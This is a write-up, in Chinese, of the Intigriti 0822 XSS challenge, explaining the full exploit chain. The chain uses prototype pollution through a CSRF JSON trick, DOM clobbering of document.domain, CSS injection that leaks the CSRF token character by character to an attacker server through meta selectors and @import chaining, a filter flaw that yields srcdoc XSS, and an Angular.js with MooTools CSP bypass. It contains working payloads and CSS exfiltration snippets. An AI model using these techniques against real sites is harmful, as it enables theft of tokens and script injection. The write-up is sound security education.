Intigriti 0822 XSS Challenge Writeup
最近解了 Intigriti 0822 XSS Challenge,並成功在這題上面獲得了 First Blood。這題結合了多種前端的攻擊技巧,也有些值得學習的新利用方法可以學,所以會簡單紀錄一下我的解法
Overview
題目有提供 source code,所以先羅列些可能可利用的點出來:
app.php可透過#msg=指定 html,然後會經過 DOMPurify 2.3.6 sanitize 過之後 html injection,但在不到一秒的時間後就會被移除掉app.php有直接的 html injection:value="<?= $_SESSION['name']; ?>",但長度需小於 20preview.php可以透過 POST 參數desc,雖然它會經過 html filter,但由於那 filter 方式是錯誤的所以可以 CSRF -> XSSpreview.php會驗證 CSRF Token,而 CSRF Token 會出現在app.php的頁面上- 全站都有 CSP,但是因為有允許
https://cdnjs.cloudflare.com/ajax/libs/所以顯然是用 Angular.js 去繞
從這五個點就已足夠看出大致攻擊流程了:
- 透過
app.php用某些方法 (e.g. CSS Injection) 偷到 CSRF Token - 以 Token 去 CSRF
preview.php達成 XSS - 使用 Angular.js 繞過 CSP
然而這邊有幾個問題,例如 html injection 的內容在短時間內就會被移除掉,導致難以 CSS Injection,所以需要找方法繞過。再來是 CSS Injection 因為 html 架構的一些原因實際執行起來並沒那麼簡單,這些問題都得一一解決。
Bypass HTML Injection Timeout
這個是整個 app.js 的內容:
let isDarkMode = false
let theme
initTheme()
document.querySelector('.btn-update-name').addEventListener('click', () => {
const name = prompt('Please input new name')
if (!name) return
const csrfToken = document.querySelector('meta[name="csrf-token"]').content
fetch('./update-name.php', {
method: 'POST',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
credentials: 'include',
body: `csrf-token=${encodeURIComponent(csrfToken)}&name=${encodeURIComponent(name)}`
})
.then(r => r.text())
.then(res => {
if (res === 'success') {
document.querySelector('#nameField').value = name
}
alert(res)
}).catch(e => {
alert('Failed:' + e.toString())
})
})
function initTheme() {
if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
isDarkMode = true
}
fetch("theme.php")
.then((res) => res.json())
.then((serverTheme) => {
theme = {
primary: {},
secondary: {}
}
for(let themeName in serverTheme) {
const currentTheme = theme[themeName]
const currentServerTheme = serverTheme[themeName]
for(let item in currentServerTheme) {
currentTheme[item] = () => isDarkMode ? currentServerTheme[item].dark : currentServerTheme[item].light
}
}
const themeDiv = document.querySelector('.theme-text')
themeDiv.innerText = `Primary - Text: ${theme?.primary?.text()}, Background: ${theme?.primary?.bg()}
Secondary - Text: ${theme?.secondary?.text()}, Background: ${theme?.secondary?.bg()}
`
start()
})
}
function start() {
const message = decodeURIComponent(location.hash.replace('#msg=', ''))
if (!message.length) return
const options = {}
if (document.domain.match(/testing/)) {
options['production'] = false
} else {
options['production'] = true
options['timeout'] = () => Math.random()*300 + 300
}
showMessage(message, {
container: document.querySelector('body'),
...options
})
}
function showMessage(message, options) {
const getTimeout = options.timeout || (() => 500)
const container = options.container || document.querySelector('body')
const modal = document.createElement('div')
modal.id = 'messageModal'
modal.innerHTML = DOMPurify.sanitize(message)
container.appendChild(modal)
history.replaceState(null, null, ' ')
setTimeout(() => {
container.removeChild(modal)
}, getTimeout())
}首先 fetch theme.php 做某些事之後進到 start,然後判斷 document.domain 決定是否是 production 和要不要指定 timeout 參數,然後最後 timeout 會被用在 removeChild 的 timeout。單從這邊來看是看不出什麼方法繞過這個時間限制的,所以可以關注前面的部分。
在上面 fetch 的 response 處理部分可以發現說如果 serverTheme 可控,那麼我們是可以在這邊做到 prototype pollution 的,且我們 pollute 的值會是個單純 return 一個值的 function。例如假設 serverTheme 多了 __proto__ 像是下面這樣:
...
"__proto__": {
"asd": {
"dark": true,
"light": true
}
}那麼 Object.prototype.asd() === true 就會成立。因此假設說 start 那邊進到了 document.domain.match(/testing/) 的 branch,那麼只要 pollute Object.prototype.timeout 讓它回傳一個很大的數,我們就能讓 html injection 持續的比較久一點。
而要控制 serverTheme 也不難,因為可以看到說它會把 body 當作 JSON parse,之後輸出 format 過的 JSON 出來,中間並沒有檢查 Content-Type,所以這邊可以用知名的 CSRF JSON 招數繞過即可。
不過這樣的話問題就變成了要怎麼讓 document.domain.match(/testing/) 成立。雖然 Google 一下可以知道 0121 的 xss challenge 有支援 *.challenge-0121.intigriti.io,所以像是 testing.challenge-0121.intigriti.io 都能 work,但是這題並沒有這樣的設計,所以這招沒辦法使用。
這邊要繞過的關鍵就是使用那個 20 字以內的 injection 了,因為 injection 的地方是在一個 attribute 之中,所以塞 "><img name=domain> 剛剛好可以 clobber 到 document.domain,此時它會是個 HTMLElement,上面並沒有 .match 的函數所以會出錯。這邊就要再用一次 prototype pollution,直接讓 Object.prototype.match() === true 成立就能讓它通過條件檢查,進到 branch,並成功達成讓 HTML Injection 持久的效果。
總之這邊要做的事就是先 CSRF JSON 修改 theme,去 prototype pollution 修改 timeout() 和 match() 讓它 timeout 變很長,使 HTML Injection 的部分可以持久保持在頁面上,方便後面的利用。
CSS Injection
因為要 CSRF preview.php 會需要 CSRF Token,所以需要找方法 leak CSRF Token 出來才行。而 DOMPurify 預設允許的 tag 之一就有 <style>,所以方法很明顯就是 CSS Injection。
PS:
DOMPurify.sanitize('<style></style>')會是空字串,但DOMPurify.sanitize('a<style></style>')不會,這是因為 DOMPurify 內部處理是直接使用DOMParser,所以行為就類似 browser 處理 HTML5 一樣,預設 style 會被放到<head>之中
這題 app.php 頁面的 CSRF Token 有兩個地方:
<head>
<!-- other elements omitted -->
<meta name="csrf-token" content="<?= $csrf_token ?>">
</head>
<div>
<input type="hidden" name="csrf-token" value="<?= $csrf_token ?>" />
</div>input 的部分應該比較常見,就是 input[value^=a] 這樣去 match,然後透過 background: url(http://attacker/?leak=a) 這樣的方法回傳達成的。然而這邊有個很大的問題是 type="hidden" 會導致整個 element 都不會顯示出來,從而也使 background 的部分也不載入,因此沒辦法透過這個地方 leak。
雖然 Google 一下很快就能找到 input[value^=a] ~ * 的方法去 match 對應 input 同層級後面的任意 element 來代替,但是這邊 input 是 div 底下的唯一元素,因此這招也不能用。
其實 css 還有個比較新的功能是 :has,在支援的瀏覽器上可以用 div:has(input[value^=a]) 的方法去 match 那個 div。然而 :has 在 Chromium 中是在 105 版本才加入的,而 Chrome Stable 升到 105 的日期是 2022/08/30,也就是這個 challenge 結束的兩天後才會正式 release,因此這招也不能用。
這邊的關鍵是注意到頁面的 <meta> 的 content 中也是有 CSRF Token,但由於它是個隱藏的元素,所以 background 一樣是沒有作用的。不過如果加上了 head, meta { display:block; } 會發現很有趣的事,就是 <head> 中的元素真的能用 display: block; 讓它變得可見,此時 background 也真的能產生作用,因此用 meta[content^=a] 去 leak 這個招數是確實可行的。
因為要在一次把整個 CSRF Token (32 chars) leak 出來,所以需要一些 CSS @import 的利用配合 server 動態生成 CSS 才能達成,我是參考 Sequential Import Chaining 的方法弄的。基本上就是先弄 32 個 <style> 裡面每個都放一個 @import 'SERVER/polling/{i}';,然後 server 先處理回傳 i=0 的 css 像是:
meta[content^=0] {
background: url('SERVER/leak/0');
}
meta[content^=1] {
background: url('SERVER/leak/1');
}
...假設第一個字元是 a,那麼當 server 收到 /leak/a 的時候再回傳 i=1 的 response 時再回傳:
meta[content^=a0] {
background: url('SERVER/leak/a0');
}
meta[content^=a1] {
background: url('SERVER/leak/a1');
}
...用這個方法就能反覆的一個一個字元 leak 出來了。不過實際上實作會遇到一些問題,例如 Chromium 一般對一個 host 最多只會有 6 個 connections,當前面 polling 卡住的時候時候 /leak/? 是送不出去的。
繞過方法也很簡單,就是提供兩個 host 就能繞過這個問題了。像是我是用 Flask 在一個 port 上 listen,然後接 socat 直接 proxy 到另一個 port 去,然後讓 polling 和 leak 使用不同的 port 就能繞過這點了。另外是我後來因為需要 https 才能繞過 mixed content 的問題把 exploit 弄到我的網站上面,因為是有 CloudFlare 在前端當 proxy 所以有 HTTP/3,發現說在 HTTP/3 的情況下可以直接使用同個 host 也不會卡住,所以其實不用這麼麻煩。我猜 HTTP/2 大概也有一樣的效果吧。
XSS + Angular CSP Bypass
拿到 CSRF Token 之後就能 CSRF 攻擊 preview.php 了,它雖然有 escape html 但處理是有問題的:
$desc = htmlspecialchars($desc);
$desc = preg_replace('/(https?:\/\/www\.youtube\.com\/embed\/[^\s]*)/', '<iframe src="$1"></iframe>', $desc);
$desc = preg_replace('/(https?:\/\/[^\s]*\.(png|jpg|gif))/', '<img src="$1">', $desc);因為它在 escape 之後還會 replace html 內容,以下的內容經過這些處理之後會變成更下面那樣:
http://www.youtube.com/embed/srcdoc='asd'.png<iframe src="<img src="http://www.youtube.com/embed/srcdoc='asd'.png">"></iframe>因此我們透過兩層替換讓 payload 跑到 attribute context,然後用 srcdoc 在裡面 XSS
這個只在 php 7 有用,因為 php 8 的
htmlspecialchars預設選項有ENT_QUOTES,導致它也會 escape',可能會變得更麻煩
最後是要繞 CSP,因為最初那個 iframe 是 hidden 的,且又不要 user interaction 的話最穩定的繞法是使用 Angular.js + Prototype.js:
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
</div>其實用比較新舊的 Angular.js 沒有 Sandbox 保護很容易達成 eval,但是因為會違反 CSP 所以還是要找方法透過在
ng-csp模擬的執行環境中拿到window才行
然而 preview.php 有對 $desc 做些 blacklist 檢查:
$dangerous_words = ['eval', 'setTimeout', 'setInterval', 'Function', 'constructor', 'proto', 'on', '%', '&', '#', '?', '\\'];
foreach ($dangerous_words as $word) {
if (stripos($desc, $word) !== false){
header("Location: app.php#msg=dangerous word detected!");
die();
}
}其中就禁止了 proto 和其他 html 相關的 escape 字元,所以沒辦法使用 prototype.js,所以要找有沒有類似的替代品。因為直接 Google 都找不太到相關的資訊,所以需要自己理解這個 Angular Sandbox Escape 是怎麼做到的才行。它的關鍵在於這裡:
function curry() {
if (!arguments.length) return this;
var __method = this, args = slice.call(arguments, 0);
return function() {
var a = merge(args, arguments);
return __method.apply(this, a);
}
}可以知道當它沒有參數時會直接 return this,然後熟悉 javascript 機制的人應該知道 this 在不存在的情況下會是 global:
function f() { return this }
const o = { f }
// all true
console.log(f() === window)
console.log(o.f() === o)
console.log(f.call(o) === o)
console.log(f.call() === window)所以我們的目標很簡單,就是在 cdnjs 上找到一個會動 builtin object 的 prototype 的 library,且裡面還要包含 return this 才行。而我的思路是想說如今 2022 基本上除了 polyfill 應該比較少有動 prototype 的 library,所以應該要往舊的 library 找找看。而想到 Prototype.js 同個時代的 library 也有其他不少選擇,而其中最著名的應該是 MooTools,因為它就是 Array.prototype.includes 不叫 Array.prototype.contains 的主要原因。另外和 MooTools 有關的類似情況還有 SmooshGate,兩者都是因為 MooTools 會修改內建的 prototype 有關。
總之我們找到了會改 Prototype 的 library,所以在 mootools-core.js 中搜尋一下 return this 可以找到:
Function.prototype.overloadSetter = function(usePlural){
var self = this;
return function(a, b){
if (a == null) return this;
if (usePlural || typeof a != 'string'){
for (var k in a) self.call(this, k, a[k]);
/*<ltIE8>*/
forEachObjectEnumberableKey(a, self, this);
/*</ltIE8>*/
} else {
self.call(this, a, b);
}
return this;
};
};因此只要 fn.overloadSetter().call() 就能拿到 window 物件,使用這個方法微調一下 Angular.js 中的 expression 就能繞過 CSP 得到 alert(document.domain) 了:
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js></script>
<script src=https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.js></script>
<body ng-app ng-csp>
{{a=$apply.overloadSetter().call()}}{{a.alert(a.document.domain)}}
</body>Final Exploit
完整的 Exploit 可以在這邊下載: exp.tar.gz
這個題目真的相當有趣,綜合了許多常見的招式結合在一起,並且還有些不同的改變 (如 <meta>, MooTools 等等),需要能把許多基本功合在一起才有辦法解開這題。另外還讓我第一次學到了怎麼做一個實際的 CSS Injection,而不只是了解粗略概念而已。
另外是我這篇文章中的 CSS Injection 方法在 Firefox 上是有些小問題的,因為它在處理 @import 和 Chromium 不太相同。根據 Huli 所說可以參考 CSS data exfiltration in Firefox via a single injection point 的方法做些修正之後應該就能成功了,可能之後有空會來研究看看它們的差異究竟在哪。
Appendix
作者之一 Huli 的 writeup: Intigriti 0822 XSS Challenge Author Writeup
作者之一 Bruno 的 writeup: BrunoHalltari/CTF-Writeups - challenge-0822.intigriti.io